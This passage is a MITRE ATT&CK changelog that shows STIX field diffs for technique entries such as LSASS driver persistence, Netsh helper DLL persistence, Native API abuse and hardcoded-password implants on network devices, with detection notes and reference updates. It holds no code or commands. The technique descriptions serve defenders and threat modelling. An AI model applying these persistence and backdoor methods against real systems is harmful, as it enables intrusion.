Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads. | Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)
Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads. |
| external_references[1]['source_name'] | Microsoft Security Subsystem | Microsoft LSA Protection Mar 2014 |
| external_references[1]['description'] | Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017. | Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017. |
| external_references[1]['url'] | https://technet.microsoft.com/library/cc961760.aspx | https://technet.microsoft.com/library/dn408187.aspx |
| external_references[2]['source_name'] | Microsoft LSA Protection Mar 2014 | Microsoft DLL Security |
| external_references[2]['description'] | Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017. | Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017. |
| external_references[2]['url'] | https://technet.microsoft.com/library/dn408187.aspx | https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx |
| external_references[3]['source_name'] | Microsoft DLL Security | Microsoft Security Subsystem |
| external_references[3]['description'] | Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017. | Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017. |
| external_references[3]['url'] | https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx | https://technet.microsoft.com/library/cc961760.aspx |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | File: File Modification |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | File: File Modification | |
[T1587.001] Develop Capabilities: Malware
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 16:05:41.186000+00:00 | 2022-01-14 17:14:27.890000+00:00 |
| external_references[4]['description'] | Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020. | The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022. |
| external_references[4]['url'] | https://www.losangeles.va.gov/documents/MI-000120-MW.pdf | https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/ |
[T1106] Native API
Current version: 2.1
|
|
|---|
| t | Adversaries may interact with the native OS application prog | t | Adversaries may interact with the native OS application prog |
| ramming interface (API) to execute behaviors. Native APIs pr | | ramming interface (API) to execute behaviors. Native APIs pr |
| ovide a controlled means of calling low-level OS services wi | | ovide a controlled means of calling low-level OS services wi |
| thin the kernel, such as those involving hardware/devices, m | | thin the kernel, such as those involving hardware/devices, m |
| emory, and processes.(Citation: NT API Windows)(Citation: Li | | emory, and processes.(Citation: NT API Windows)(Citation: Li |
| nux Kernel API) These native APIs are leveraged by the OS du | | nux Kernel API) These native APIs are leveraged by the OS du |
| ring system boot (when other system components are not yet i | | ring system boot (when other system components are not yet i |
| nitialized) as well as carrying out tasks and requests durin | | nitialized) as well as carrying out tasks and requests durin |
| g routine operations. Native API functions (such as <code>N | | g routine operations. Native API functions (such as <code>N |
| tCreateProcess</code>) may be directed invoked via system ca | | tCreateProcess</code>) may be directed invoked via system ca |
| lls / syscalls, but these features are also often exposed to | | lls / syscalls, but these features are also often exposed to |
| user-mode applications via interfaces and libraries. (Citat | | user-mode applications via interfaces and libraries.(Citati |
| ion: OutFlank System Calls)(Citation: CyberBit System Calls) | | on: OutFlank System Calls)(Citation: CyberBit System Calls)( |
| (Citation: MDSec System Calls) For example, functions such a | | Citation: MDSec System Calls) For example, functions such as |
| s the Windows API <code>CreateProcess()</code> or GNU <code> | | the Windows API <code>CreateProcess()</code> or GNU <code>f |
| fork()</code> will allow programs and scripts to start other | | ork()</code> will allow programs and scripts to start other |
| processes.(Citation: Microsoft CreateProcess)(Citation: GNU | | processes.(Citation: Microsoft CreateProcess)(Citation: GNU |
| Fork) This may allow API callers to execute a binary, run a | | Fork) This may allow API callers to execute a binary, run a |
| CLI command, load modules, etc. as thousands of similar API | | CLI command, load modules, etc. as thousands of similar API |
| functions exist for various system operations.(Citation: Mi | | functions exist for various system operations.(Citation: Mic |
| crosoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher leve | | rosoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher level |
| l software frameworks, such as Microsoft .NET and macOS Coco | | software frameworks, such as Microsoft .NET and macOS Cocoa |
| a, are also available to interact with native APIs. These fr | | , are also available to interact with native APIs. These fra |
| ameworks typically provide language wrappers/abstractions to | | meworks typically provide language wrappers/abstractions to |
| API functionalities and are designed for ease-of-use/portab | | API functionalities and are designed for ease-of-use/portabi |
| ility of code.(Citation: Microsoft NET)(Citation: Apple Core | | lity of code.(Citation: Microsoft NET)(Citation: Apple Core |
| Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation | | Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation) |
| ) Adversaries may abuse these OS API functions as a means o | | Adversaries may abuse these OS API functions as a means of |
| f executing behaviors. Similar to [Command and Scripting Int | | executing behaviors. Similar to [Command and Scripting Inte |
| erpreter](https://attack.mitre.org/techniques/T1059), the na | | rpreter](https://attack.mitre.org/techniques/T1059), the nat |
| tive API and its hierarchy of interfaces provide mechanisms | | ive API and its hierarchy of interfaces provide mechanisms t |
| to interact with and utilize various components of a victimi | | o interact with and utilize various components of a victimiz |
| zed system. While invoking API functions, adversaries may al | | ed system. While invoking API functions, adversaries may als |
| so attempt to bypass defensive tools (ex: unhooking monitore | | o attempt to bypass defensive tools (ex: unhooking monitored |
| d functions via [Disable or Modify Tools](https://attack.mit | | functions via [Disable or Modify Tools](https://attack.mitr |
| re.org/techniques/T1562/001)). | | e.org/techniques/T1562/001)). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 21:24:30.764000+00:00 | 2022-04-19 20:30:00.118000+00:00 |
| description | Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). | Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). |
| external_references[1]['source_name'] | NT API Windows | MACOS Cocoa |
| external_references[1]['description'] | The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020. | Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020. |
| external_references[1]['url'] | https://undocumented.ntinternals.net/ | https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1 |
| external_references[2]['source_name'] | Linux Kernel API | Apple Core Services |
| external_references[2]['description'] | Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020. | Apple. (n.d.). Core Services. Retrieved June 25, 2020. |
| external_references[2]['url'] | https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html | https://developer.apple.com/documentation/coreservices |
| external_references[3]['source_name'] | OutFlank System Calls | macOS Foundation |
| external_references[3]['description'] | de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021. | Apple. (n.d.). Foundation. Retrieved July 1, 2020. |
| external_references[3]['url'] | https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ | https://developer.apple.com/documentation/foundation |
| external_references[4]['source_name'] | CyberBit System Calls | OutFlank System Calls |
| external_references[4]['description'] | Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021. | de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021. |
| external_references[4]['url'] | https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/ | https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ |
| external_references[5]['source_name'] | MDSec System Calls | GNU Fork |
| external_references[5]['description'] | MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021. | Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020. |
| external_references[5]['url'] | https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ | https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html |
| external_references[6]['source_name'] | Microsoft CreateProcess | CyberBit System Calls |
| external_references[6]['description'] | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. | Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021. |
| external_references[6]['url'] | http://msdn.microsoft.com/en-us/library/ms682425 | https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/ |
| external_references[7]['source_name'] | GNU Fork | GLIBC |
| external_references[7]['description'] | Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020. | glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020. |
| external_references[7]['url'] | https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html | https://www.gnu.org/software/libc/ |
| external_references[8]['source_name'] | Microsoft Win32 | LIBC |
| external_references[8]['description'] | Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020. | Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020. |
| external_references[8]['url'] | https://docs.microsoft.com/en-us/windows/win32/api/ | https://man7.org/linux/man-pages//man7/libc.7.html |
| external_references[9]['source_name'] | LIBC | Linux Kernel API |
| external_references[9]['description'] | Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020. | Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020. |
| external_references[9]['url'] | https://man7.org/linux/man-pages//man7/libc.7.html | https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html |
| external_references[10]['source_name'] | GLIBC | MDSec System Calls |
| external_references[10]['description'] | glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020. | MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021. |
| external_references[10]['url'] | https://www.gnu.org/software/libc/ | https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ |
| external_references[11]['source_name'] | Microsoft NET | Microsoft CreateProcess |
| external_references[11]['description'] | Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020. | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. |
| external_references[11]['url'] | https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework | http://msdn.microsoft.com/en-us/library/ms682425 |
| external_references[12]['source_name'] | Apple Core Services | Microsoft Win32 |
| external_references[12]['description'] | Apple. (n.d.). Core Services. Retrieved June 25, 2020. | Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020. |
| external_references[12]['url'] | https://developer.apple.com/documentation/coreservices | https://docs.microsoft.com/en-us/windows/win32/api/ |
| external_references[13]['source_name'] | MACOS Cocoa | Microsoft NET |
| external_references[13]['description'] | Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020. | Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020. |
| external_references[13]['url'] | https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1 | https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework |
| external_references[14]['source_name'] | macOS Foundation | NT API Windows |
| external_references[14]['description'] | Apple. (n.d.). Foundation. Retrieved July 1, 2020. | The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020. |
| external_references[14]['url'] | https://developer.apple.com/documentation/foundation | https://undocumented.ntinternals.net/ |
| x_mitre_data_sources[0] | Process: OS API Execution | Module: Module Load |
| x_mitre_data_sources[1] | Module: Module Load | Process: OS API Execution |
[T1546.007] Event Triggered Execution: Netsh Helper DLL
Current version: 1.0
|
|
|---|
| t | Adversaries may establish persistence by executing malicious | t | Adversaries may establish persistence by executing malicious |
| content triggered by Netsh Helper DLLs. Netsh.exe (also ref | | content triggered by Netsh Helper DLLs. Netsh.exe (also ref |
| erred to as Netshell) is a command-line scripting utility us | | erred to as Netshell) is a command-line scripting utility us |
| ed to interact with the network configuration of a system. I | | ed to interact with the network configuration of a system. I |
| t contains functionality to add helper DLLs for extending fu | | t contains functionality to add helper DLLs for extending fu |
| nctionality of the utility. (Citation: TechNet Netsh) The pa | | nctionality of the utility.(Citation: TechNet Netsh) The pat |
| ths to registered netsh.exe helper DLLs are entered into the | | hs to registered netsh.exe helper DLLs are entered into the |
| Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</co | | Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</cod |
| de>. Adversaries can use netsh.exe helper DLLs to trigger e | | e>. Adversaries can use netsh.exe helper DLLs to trigger ex |
| xecution of arbitrary code in a persistent manner. This exec | | ecution of arbitrary code in a persistent manner. This execu |
| ution would take place anytime netsh.exe is executed, which | | tion would take place anytime netsh.exe is executed, which c |
| could happen automatically, with another persistence techniq | | ould happen automatically, with another persistence techniqu |
| ue, or if other software (ex: VPN) is present on the system | | e, or if other software (ex: VPN) is present on the system t |
| that executes netsh.exe as part of its normal functionality. | | hat executes netsh.exe as part of its normal functionality.( |
| (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske | | Citation: Github Netsh Helper CS Beacon)(Citation: Demaske N |
| Netsh Persistence) | | etsh Persistence) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-24 18:28:07.793000+00:00 | 2022-04-20 17:09:17.363000+00:00 |
| description | Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.
Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence) | Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.
Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence) |
| external_references[1]['source_name'] | TechNet Netsh | Demaske Netsh Persistence |
| external_references[1]['description'] | Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. | Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. |
| external_references[1]['url'] | https://technet.microsoft.com/library/bb490939.aspx | https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html |
| external_references[2]['source_name'] | Github Netsh Helper CS Beacon | TechNet Netsh |
| external_references[2]['description'] | Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017. | Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. |
| external_references[2]['url'] | https://github.com/outflankbv/NetshHelperBeacon | https://technet.microsoft.com/library/bb490939.aspx |
| external_references[3]['source_name'] | Demaske Netsh Persistence | Github Netsh Helper CS Beacon |
| external_references[3]['description'] | Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. | Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017. |
| external_references[3]['url'] | https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html | https://github.com/outflankbv/NetshHelperBeacon |
| x_mitre_detection | It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence) | It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence) |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Module: Module Load |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Module: Module Load | |
[T1498] Network Denial of Service
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 18:34:06.995000+00:00 | 2022-03-25 20:05:40.122000+00:00 |
| x_mitre_data_sources[0] | Sensor Health: Host Status | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Flow | Sensor Health: Host Status |
[T1556.004] Modify Authentication Process: Network Device Authentication
Current version: 2.0
|
|
|---|
| t | Adversaries may use [Patch System Image](https://attack.mitr | t | Adversaries may use [Patch System Image](https://attack.mitr |
| e.org/techniques/T1601/001) to hard code a password in the o | | e.org/techniques/T1601/001) to hard code a password in the o |
| perating system, thus bypassing of native authentication mec | | perating system, thus bypassing of native authentication mec |
| hanisms for local accounts on network devices. [Modify Syst | | hanisms for local accounts on network devices. [Modify Syst |
| em Image](https://attack.mitre.org/techniques/T1601) may inc | | em Image](https://attack.mitre.org/techniques/T1601) may inc |
| lude implanted code to the operating system for network devi | | lude implanted code to the operating system for network devi |
| ces to provide access for adversaries using a specific passw | | ces to provide access for adversaries using a specific passw |
| ord. The modification includes a specific password which is | | ord. The modification includes a specific password which is |
| implanted in the operating system image via the patch. Upo | | implanted in the operating system image via the patch. Upo |
| n authentication attempts, the inserted code will first chec | | n authentication attempts, the inserted code will first chec |
| k to see if the user input is the password. If so, access is | | k to see if the user input is the password. If so, access is |
| granted. Otherwise, the implanted code will pass the creden | | granted. Otherwise, the implanted code will pass the creden |
| tials on for verification of potentially valid credentials.( | | tials on for verification of potentially valid credentials.( |
| Citation: FireEye - Synful Knock) | | Citation: Mandiant - Synful Knock) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-20 20:11:00.356000+00:00 | 2021-12-14 23:14:26.107000+00:00 |
| description | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.
[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock) | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.
[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock) |
| external_references[1]['source_name'] | FireEye - Synful Knock | Mandiant - Synful Knock |
| external_references[1]['url'] | https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html | https://www.mandiant.com/resources/synful-knock-acis |
[T1059.008] Command and Scripting Interpreter: Network Device CLI
Current version: 1.1
|
|
|---|
| t | Adversaries may abuse scripting or built-in command line int | t | Adversaries may abuse scripting or built-in command line int |
| erpreters (CLI) on network devices to execute malicious comm | | erpreters (CLI) on network devices to execute malicious comm |
| and and payloads. The CLI is the primary means through which | | and and payloads. The CLI is the primary means through which |
| users and administrators interact with the device in order | | users and administrators interact with the device in order |
| to view system information, modify device operations, or per | | to view system information, modify device operations, or per |
| form diagnostic and administrative functions. CLIs typically | | form diagnostic and administrative functions. CLIs typically |
| contain various permission levels required for different co | | contain various permission levels required for different co |
| mmands. Scripting interpreters automate tasks and extend f | | mmands. Scripting interpreters automate tasks and extend f |
| unctionality beyond the command set included in the network | | unctionality beyond the command set included in the network |
| OS. The CLI and scripting interpreter are accessible through | | OS. The CLI and scripting interpreter are accessible through |
| a direct console connection, or through remote means, such | | a direct console connection, or through remote means, such |
| as telnet or [SSH](https://attack.mitre.org/techniques/T1021 | | as telnet or [SSH](https://attack.mitre.org/techniques/T1021 |
| /004). Adversaries can use the network CLI to change how ne | | /004). Adversaries can use the network CLI to change how ne |
| twork devices behave and operate. The CLI may be used to man | | twork devices behave and operate. The CLI may be used to man |
| ipulate traffic flows to intercept or manipulate data, modif | | ipulate traffic flows to intercept or manipulate data, modif |
| y startup configuration parameters to load malicious system | | y startup configuration parameters to load malicious system |
| software, or to disable security features or logging to avoi | | software, or to disable security features or logging to avoi |
| d detection. (Citation: Cisco Synful Knock Evolution) | | d detection.(Citation: Cisco Synful Knock Evolution) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-07-26 15:57:50.800000+00:00 | 2022-04-19 20:28:09.848000+00:00 |
| description | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.
Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).
Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution) | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.
Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).
Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution) |
| external_references[1]['source_name'] | Cisco Synful Knock Evolution | Cisco IOS Software Integrity Assurance - Command History |
| external_references[1]['description'] | Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. | Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. |
| external_references[1]['url'] | https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices | https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 |
| external_references[2]['source_name'] | Cisco IOS Software Integrity Assurance - Command History | Cisco Synful Knock Evolution |
| external_references[2]['description'] | Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. | Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. |
| external_references[2]['url'] | https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 | https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices |
[T1602.002] Data from Configuration Repository: Network Device Configuration Dump
Current version: 1.0
|
|
|---|
| t | Adversaries may access network configuration files to collec | t | Adversaries may access network configuration files to collec |
| t sensitive data about the device and the network. The netwo | | t sensitive data about the device and the network. The netwo |
| rk configuration is a file containing parameters that determ | | rk configuration is a file containing parameters that determ |
| ine the operation of the device. The device typically stores | | ine the operation of the device. The device typically stores |
| an in-memory copy of the configuration while operating, and | | an in-memory copy of the configuration while operating, and |
